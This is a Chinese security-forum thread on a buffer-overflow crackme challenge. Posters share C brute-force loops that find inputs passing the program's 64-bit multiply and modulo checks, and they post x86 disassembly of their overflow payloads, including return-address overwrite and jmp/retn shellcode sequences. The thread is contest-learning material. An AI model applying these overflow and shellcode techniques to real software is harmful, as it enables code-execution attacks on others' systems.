能力值:
( LV2,RANK:10 )
|
-
-
2 楼
那两个函数分别是:
__allmul
__allrem
int64类型的*, %
|
能力值:
(RANK:170 )
|
-
-
3 楼
刚刚不懂大虾指点了一下,才知道,我没有从整体上去想,呵呵呵呵呵呵
|
能力值:
( LV12,RANK:250 )
|
-
-
4 楼
沙发,抢到了,我就死在那硬件编码上!!!经过那两个Call能算出EAX值为0xD
|
能力值:
( LV13,RANK:530 )
|
-
-
5 楼
unsigned __int64 initVar = 0;
unsigned __int64 divisor;
divisor = initVar * 0x78CC02A869948F1B;
unsigned __int64 dividend = 0x5BE6FF82A5164785;
int result = divisor % dividend;
“汇编除法”~估计。放到VC8中 编译一下然后反汇编 会发现奇妙的东西。:)
另外希望搂主描述一下穷举过程~~~偶就是这里失败了。谢谢。
另外不知道楼主调到构造堆是用的 JMP esi 还是retn的方法~?或者其他~学一下先。小生愚钝。
|
能力值:
(RANK:210 )
|
-
-
6 楼
真详细,学习一下
|
能力值:
( LV12,RANK:250 )
|
-
-
7 楼
eax值为0x211BB34算出的ecx是0x1C个DWORD不是盖的太多了,应该算出EAX为0xD算出的ecx才为0xD只要13个DWORD就OK了
|
能力值:
(RANK:170 )
|
-
-
8 楼
昨天我穷举用的这个,反过来的
int main(int argc, char *argv[])
{
UINT64 i;
for (i = 0; i<0xffffffff; i++)
if((unsigned)((i*0x69948F1B) + ~0xd+1)%0xA5164785 ==0 )
printf("%x\n",i);
return 0;
}
~0xd+1这个地方可以根据我上面介绍的方法修改.这个能得到一个跳转,就是题目中的这个,
另外在i变化的时候有其他的
跳转你可以看我代码里面的opcode,我用的retn,
jmp esi也可以,在里面搜索该opcode, 发现只有一个,而且是在操作数里面的;)))
|
能力值:
( LV12,RANK:250 )
|
-
-
9 楼
第二个call中调用了div ebx,后面利用他算出来的商数跟三参和四参计算得到eax和edx
div后的商数就3种情况0、1、2
#include<iostream.h>
int _stdcall l(int i);
void main()
{
int value=0;
for(int i=0;i<=0xFFFFFFFF;i++)
{
value=l(i);
if(value==0xA5164792 || value==0x4A2C8F17|| value==0x0000000D)//因为就三种情况
{
cout<<i<<endl;
return;
}
}
}
int _stdcall l(int i)
{
return 0x69948F1B*i;
}
第二个call出来的eax我个人认为要是0xD,正好盖掉返回值处
|
能力值:
(RANK:170 )
|
-
-
10 楼
本来想&0xFFFFFFFFFFFFFFF,但怕大家失去溢出的乐趣,就改成了& 0xFFFFFFFF ,让大家可以用穷举过第一关.有兴趣的人可以考虑一下如果是&0xFFFFFFFFFFFFFFF应该怎么玩,怎么获得0xD,嘿嘿
|
能力值:
( LV2,RANK:10 )
|
-
-
11 楼
用穷举只解出一个,卡住了。后来才发现有其他解。数论方面的知识忘记了。
|
能力值:
( LV2,RANK:10 )
|
-
-
12 楼
学习学习再学习!
|
能力值:
( LV15,RANK:2473 )
|
-
-
13 楼
你这么一简化害的我两次-5
如果是0xFFFFFFFFFFFFFFF我就死心塌地多花点时间去计算了,会多得几分
|
能力值:
( LV4,RANK:50 )
|
-
-
14 楼
我用随机碰撞法,怎么每次都瞬间碰撞出来呢?
|
能力值:
( LV2,RANK:10 )
|
-
-
15 楼
|
能力值:
( LV4,RANK:50 )
|
-
-
16 楼
你的机器很好,很强大...
|
能力值:
( LV13,RANK:280 )
|
-
-
17 楼
我就是按照&0xFFFFFFFFFFFFFFF作的,可惜你没有那么出题
http://bbs.pediy.com/showthread.php?t=50725
|
能力值:
(RANK:170 )
|
-
-
18 楼
[QUOTE='火翼[CCG];353226']我就是按照&0xFFFFFFFFFFFFFFF作的,可惜你没有那么出题
http://bbs.pediy.com/showthread.php?t=50725[/QUOTE]
是呀,担心忘记的人太多,又是二阶一题不敢出的太难了,万一最后弄得做出的没几个,可能会影响大家的心情。不过这样,你可能会吃一点点亏
|
能力值:
( LV15,RANK:1673 )
|
-
-
19 楼
这题偶一开始也走了弯路,前8字节一定要想跑个Jmp $+8出来...结果很惨,跑到第二天也没跑出来(最少也是个Jmp $+60)...后来才改用无关紧要的代码填充前8个字节....
另外,那个长度的二次方程的解并非只在 Eax 为 0d 时成立,而只需 Ax=0d 就可以了,这个能跑出更多的8字节代码.
偶的最短执行代码是0x21字节(当然整个长度还是要51字节才能正常溢出,最后要有一个指向RETN的地址):
00B60000 A9 9A5D5D1C test eax, 1C5D5D9A
00B60005 24 49 and al, 49
00B60007 49 dec ecx
00B60008 B8 4F4B2100 mov eax, 214B4F
00B6000D A3 60024000 mov dword ptr [400260], eax
00B60012 A3 68024000 mov dword ptr [400268], eax
00B60017 8D6C24 1C lea ebp, dword ptr [esp+1C]
00B6001B 68 84034000 push 400384
00B60020 C3 retn
|
能力值:
( LV15,RANK:1473 )
|
-
-
20 楼
楼主的代码,为什么要在最后用
003E007E \8BC6 mov eax,esi
003E0080 05 34000000 add eax,34
003E0085 FFE0 jmp eax
这种形式?
你既然是从前面跳过来的,为什么不直接再跳回去?在这地方写代码是会增加文件长度的啊
我用的就是
00CE007E ^\EB 8C jmp short 00CE000C
回跳代码是跨系统的,呵呵~
顺便把其他代码也贴上吧:
00CE000C 8D46 08 lea eax, dword ptr [esi+8]
00CE000F 83C4 04 add esp, 4
00CE0012 6A 00 push 0
00CE0014 50 push eax
00CE0015 50 push eax
00CE0016 6A 00 push 0
00CE0018 8D6C24 28 lea ebp, dword ptr [esp+28]
00CE001C B8 91034000 mov eax, 400391
00CE0021 FFE0 jmp eax
另外我感觉我的水平和你差不多,第一天时间就花在穷举上了,然后发现穷举是不可能的,就逆向分析,第二个CALL出来后要求EAX=XXXX000D,再观察发现:如果第一个CALL后EDX=5BE6FF82,那么第二个CALL就没用了(就是说经过第二个CALL后EAX值不变)!再逆推出第一个CALL前的8个字节就非常EASY了,呵呵~
不过这个过程是经过无数弯路后得出的,找到这个方法后用了2小时就搞定了。。。
这个解是很郁闷的,刚好第一条语句是jmp short 003E007E,导致长度最小只能到0x80也就是128字节。。。
|
能力值:
( LV2,RANK:10 )
|
-
-
21 楼
哈哈,最初我也是jmp $+8穷举了一晚上的
|
能力值:
( LV9,RANK:490 )
|
-
-
22 楼
又出好文了,接到支持~~
|
能力值:
( LV9,RANK:170 )
|
-
-
23 楼
因为不太懂,就知道个jmp esp。
穷举是0xD来发现差一个字节,又费劲办法穷举出一个0x14来。
|
|
|